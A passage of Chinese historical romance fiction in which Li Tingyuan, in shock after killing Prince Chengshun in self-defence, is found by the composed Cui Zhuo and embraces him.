她胸口剧烈起伏,呼吸带着劫后余生的惊惧,声音也因脱力和激动而轻颤,却清晰决绝: “女人说不要的时候,就是不愿,我说了,让殿下放开我。” 话音刚落,成顺郡王高大的身躯便如一堵轰然坍塌的墙壁一般,直挺挺砸到了床下。 李亭鸢喘息了几声,身子一软瘫倒在床上。 不知过了多久,她的肩膀忽然无声地开始轻颤,眼泪顺着眼角滑落。 她蜷缩着身子将自己抱住,死死咬着唇不肯发出一丝声音来。 巨大的恐惧如潮水般后知后觉将她淹没。 时间仿佛在这一刻被无限拉长,房间内死寂得可怕,只有李亭鸢擂鼓般的心跳声,在耳畔疯狂撞击。 她低头怔怔瞧着自己的双手。 ——直到此刻,她才清晰地回忆起,那匕首的刀刃和如何切断肌理、撞碎骨骼,最终彻底贯穿了那个男人坚硬的脖颈。 地上的尸体散发着冰冷而令人毛骨悚然的气息,成顺郡王双目圆睁,空洞地望着她,脖颈和胸前一片狼狈的血污。 浓重的血腥味蔓延,呛得她几欲作呕。 一种从骨髓深处渗透出来的寒意席卷了四肢百骸。 她杀人了。 这个认知像一把重锤,狠狠砸碎了她之前孤注一掷的勇气和狠厉。 姗姗来迟却凶猛无比的后怕,如同无数只冰冷的手攥紧她的心脏,挤压得她无法呼吸。 李亭鸢的身体开始无法抑制地剧烈颤抖,从指尖到牙齿都在咯咯作响。 她干呕了几下,却什么也吐不出来,只有眼泪混合着血污汹涌滚落。 恐惧令李亭鸢濒临崩溃——以至于让她连靠近的脚步声都没能听见。 崔琢一袭白衣清雅矜贵,姿态端方,与屋中的混乱格格不入。 他神色从容地走进来,蹙眉看了眼地上双目大睁的成顺郡王,视线划过他脖颈处插着的那把匕首。 在看到那匕首上刻着“明衡”两个字的私印时,眸子里竟悄无声息地划过一抹波澜。 “李亭鸢——” 崔琢厌恶地绕过地上的血污,神色平静地走到床边唤她。 李亭鸢愣了一下,以为自己出现了幻觉,怔怔回头。 就见那个最不可能出现的男人,此时此刻的的确确出现在了她的床边。 满室狼狈的血腥味道里,崔琢身上的松木香淡淡传来,气息清冷,平静的目光中带着一种令人心安的力量。 李亭鸢顺着他的力道站起来,六神无主的慌乱渐渐在他的目光下安定了下来。 好似只要有他在身边,便是泰山崩塌都只是轻如鸿毛的小事。 崔琢注视着她,默默抬起手,骨节分明的拇指压住她唇侧沾染上的那丝猩红血迹。 李亭鸢眼睫一颤。 崔琢手指缓缓用力碾压,指腹勾出一抹浅淡的红色。 “回去等我。” 他的语气很淡,带着云淡风轻的平稳。 李亭鸢怔怔瞧着眼前男人镇定清醒的眉眼,似是有一股激烈的情绪,顺着急速跳动的心脏在胸腔里横冲直撞。 顿了片刻。 她鼻尖一酸,突然抬手紧紧抱住了他。 崔琢的身子瞬间绷紧。